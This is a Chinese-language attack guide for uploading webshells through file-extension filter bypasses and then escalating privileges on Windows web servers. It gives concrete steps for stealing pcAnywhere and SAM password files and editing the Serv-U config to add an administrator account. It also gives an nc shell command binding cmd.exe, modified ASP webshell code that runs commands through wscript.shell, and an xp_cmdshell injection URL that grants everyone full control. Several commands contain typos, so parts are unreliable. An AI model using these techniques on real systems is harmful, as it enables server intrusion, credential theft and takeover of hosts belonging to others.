# **上传的方法**：

**一**、进入后台直接上传

**二**、添加上传类型上传

1.加空格

2.asp后缀改为ASA、CER

3.php后缀改为pl、ASP、ASA、CER

4.后缀添加未知后缀例如.php改为.php.hack（未知后缀不解析）

**三**、抓包上传（在抓包处修改后缀如上）

**四**、可以利用表单冲突上传

**五**、利用代码对文件类型的限制上传

比如说asp字样被去除了，可以改为ASASPP绕过限制，其他的绕过方法需要在实践中摸索

**六**、利用数据库的压缩功能，一般是在友情链接上面提交的。

**七**、利用SQL导出

针对使用MSSQL数据库且存在注入点的，知道网站物理路径后通过往SQL数据库写入带木马的表，再将表导出，即可得到webshell（切记事后要删除表）

**八、**利用过滤不完全写入[一句话木马](One%20sentence%20Trojan.docx)

**九**、利用一些特殊功能巧妙上传webshell

备份与恢复功能：先把asp木马文件后缀改为gif等无害文件，上传后记住上传路径，然后备份时把路径填上，名称后缀改为asp即可

**十**、利用上传工具（自行寻找专用上传）

# webshell提权

**(1)**、如果服务器上有装了pcAnywhere服务端，它默认安装在系统盘的 Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/目录下，先看能否跳转到这个目录，如果能跳转的话，那么就下载\*.cif文件。用记事本打开cif文件，那么就得到pcAnywhere的密码了，直接利用它登陆即可管理员权限。

**(2)**、还可以下载服务器的SAM表，其文件路径为系统盘:\WINNT\system32\config\下。如果能够跳转到这个目录中，那么就下载文件名为SAM的文件到本地的计算机中，对于SAM可以利用LC5这个工具破解出用户密码。

(3)、虚拟主机用的最多的软件应该算是serv-u这个FTP工具。serv-u也是漏洞出现的非常多，所以利用它进行提权是最为常用的方法。先判断服务器中是否安装了serv-u，首先看能否跳转到“系统盘: \Documents and Settings\All Users\「开始」菜单\程序\”这个目录中，从这里可以获取很多有用的信息。可以看见好多快捷方式，如果安装了Serv-U，那么也可以看到其快捷方式，可以本地查看属性，即查找Serv-U的安装路径，有了Serv-U的安装路径，就看能否跳转到这个安装路径中。如果可以跳转，跳转成功之后。再看serv-u的servvDaemon.ini是否可写，如果可写就可以很快得到管理员的权限了。打开servvDaemon.ini后，在[Domain]这一栏下加上user9=[hack|1|0，其中数字9可以更换，然后在后面加上

[USER=hack|1]

password=

HomeDir=c:\winnt\systam32

Timeout=60

Maintenace=system

Accessl=c:\winnt\system32\RWAMELCDP

SKETValues=

保存后用ftp客户端登录，用户名为cnnsafe，密码为空，然后执行quote site execnet user hack hack/add和quote site execnet localgranp administrators hack/add，就得到管理员权限了。如果ServvDaemon.ini文件不可写，我们还可以用serv-v的本地溢出漏洞提权。找个可执行的目录，上传我们的提权工具su-exe，然后到wscriptshell中执行，执行成功后我们就可以得到服务器权限了。比如我们利用Serv-u Ftp Server本地权限提升漏洞：因为很多主机的“系统盘:\Documents and Settings\All Users\ Documents”目录以及下边几个子目录Documents没有设置权限，导致可以在这个目录上传并运行Exp. 因此我们直接上传了serv-u local exploit和nc, 并且把serv-u的本地提升权限的名字命名为su.exe文件就放在“C:\Documents and Settings\All Users\ Documents”, 然后我们用su.exe直接建立用户,也可以反弹一个shell过来的。

具体命令：

建立用户: serv-u.exe "cmd"

>USER xl

>PASS 111111

反弹shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"

(4)、查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码，可能会有所收获等等。

(5)、先检查有什么系统服务，或者随系统启动自动启动的程序和管理员经常使用的软件，比如诺顿、金山、瑞星、WinRAR甚至QQ之类的，是否可以写，如果可以就修改其程序，绑定一个批处理或者VBS，里面写入我们的木马，然后还是等待服务器重启。当重启的时我们的批处理或VBS也会被执行，那么它就会去下载已准备好的的木马，进而控制服务器。

(6)、很多有经验的管理员，它会将cmd.exe、net.exe和net1.exe都给删除。那么我们得到了webshell也无法执行命令，这对我们提权是一个很大的阻碍。所以我们要把cmd.exe文件上传到服务器中去，然后调用上传的CMD来执行命令。利用webshell提供的上传功能上传一个cmd.exe（默认情况下在WIN\system32\cmd.exe）到WEBSHELL目录（其它目录也行，把上传以后的CMD.exe绝对路径COPY出来）。然后修改修改webshell找到调用cmd.exe的代码，调用代码如下所示：

\_code cellSpacing=1 cellPadding=0 width="90%" border=0> Function CmdShell()

If Request("cmd")<>"" Then

DefCmd = Request("cmd")

Else

DefCmd = "Dir "&Session("FolderPath")

End If

SI="

"

SI=SI&""

SI=SI&""

<br>　SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).st

dout.readall

<br>　SI=SI&Chr(13)&"Rar 命令行压缩示例：c:\progra~1\winrar\rar.exe a d:\web\te

st\web1.rar

d:\web\test\web1"

Response.Write SI

End Function

我们把它修改成以下代码：

Function CmdShell()

If Request("cmd")<>"" Then

DefCmd = Request("cmd")

Else

DefCmd = "Dir "&Session("FolderPath")

End If

SI=" "

SI=SI&""

SI=SI&""

<br>　SI=SI&server.createobject("wscript.shell").exec("上传的cmd.exe绝对路径 /

c "&DefCmd).stdout.readall

<br>　SI=SI&Chr(13)&"Rar 命令行压缩示例：c:\progra~1\winrar\rar.exe a d:\web\te

st\web1.rar d:\web\test\web1 "

Response.Write SI

End Function

为了看得清楚把要修改的提出来就可以，原来的：

\_code cellSpacing=1 cellPadding=0 width="90%" border=0> SI=SI&server.createobje

ct

("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall

修改成：

SI=SI&server.createobject("wscript.shell").exec("上传的 cmd.exe 绝对路径 /c

"&DefCmd).stdout.readall

比如上传到的目录是 D:\web\www\cmd.exe 那么就修改成:

\_code cellSpacing=1 cellPadding=0 width="90%" border=0> SI=SI&server.createobje

ct("wscript.shell").exec("D:\web\www\cmd.exe /c "&DefCmd).stdout.readall

那么这样就可以执行各种命令了，比如添加一个管理员等等。

(7)、这种方法适合于后台数据库是SQL Server的情况，要用到SQL Server的cacls及xp\_cmdshell。可以提交:http://www.xxx.com/xxx.asp?id=xx;exec master.dbo.xp\_cmd shell 'cacls d:\home /t /e /c /g everyone:f';--这样赋予了操作系统中everyone组的成员所有的权限,然后就可以上传文件、改主页了!

(8)、利用本地溢出程序进行提权。在得到webshell后，先查看服务器上哪些目录是可执行的，然后再查找操作系统的版本以及在服务器上安装了哪些软件。在确定了这些信息后，就查找这些软件存在的相应的一些溢出程序，并上传到服务器的可执行目录中，接着溢出，成功的话，一下就可以得到管理员的权限。这种方法是最为强烈推荐的，不管它是哪种操作系统，只要确定其操作系统或安装的软件中有存在溢出漏洞，那么使用溢出程序溢出是最快得到管理员权限的方法。

其实webshell的提权的方法还有非常多，这里只是简单几种。方法的种类虽然多，但是他们都是为了达到可以执行相应程序、命令，进而得到更高权限的目的。所以方法虽然多，可它的核心变不了，提权方法与技巧终究还是如此。不过还是推荐使用溢出来提权这种方法。要使用这种方法需要做两个方面的工作：

一、得到一个可以执行的目录。

二、确定操作系统和其安装的软件中那个存在溢出漏洞。

至于更多的技巧与方法就要靠平时入侵的过程不断的积累，从实战中获得经验。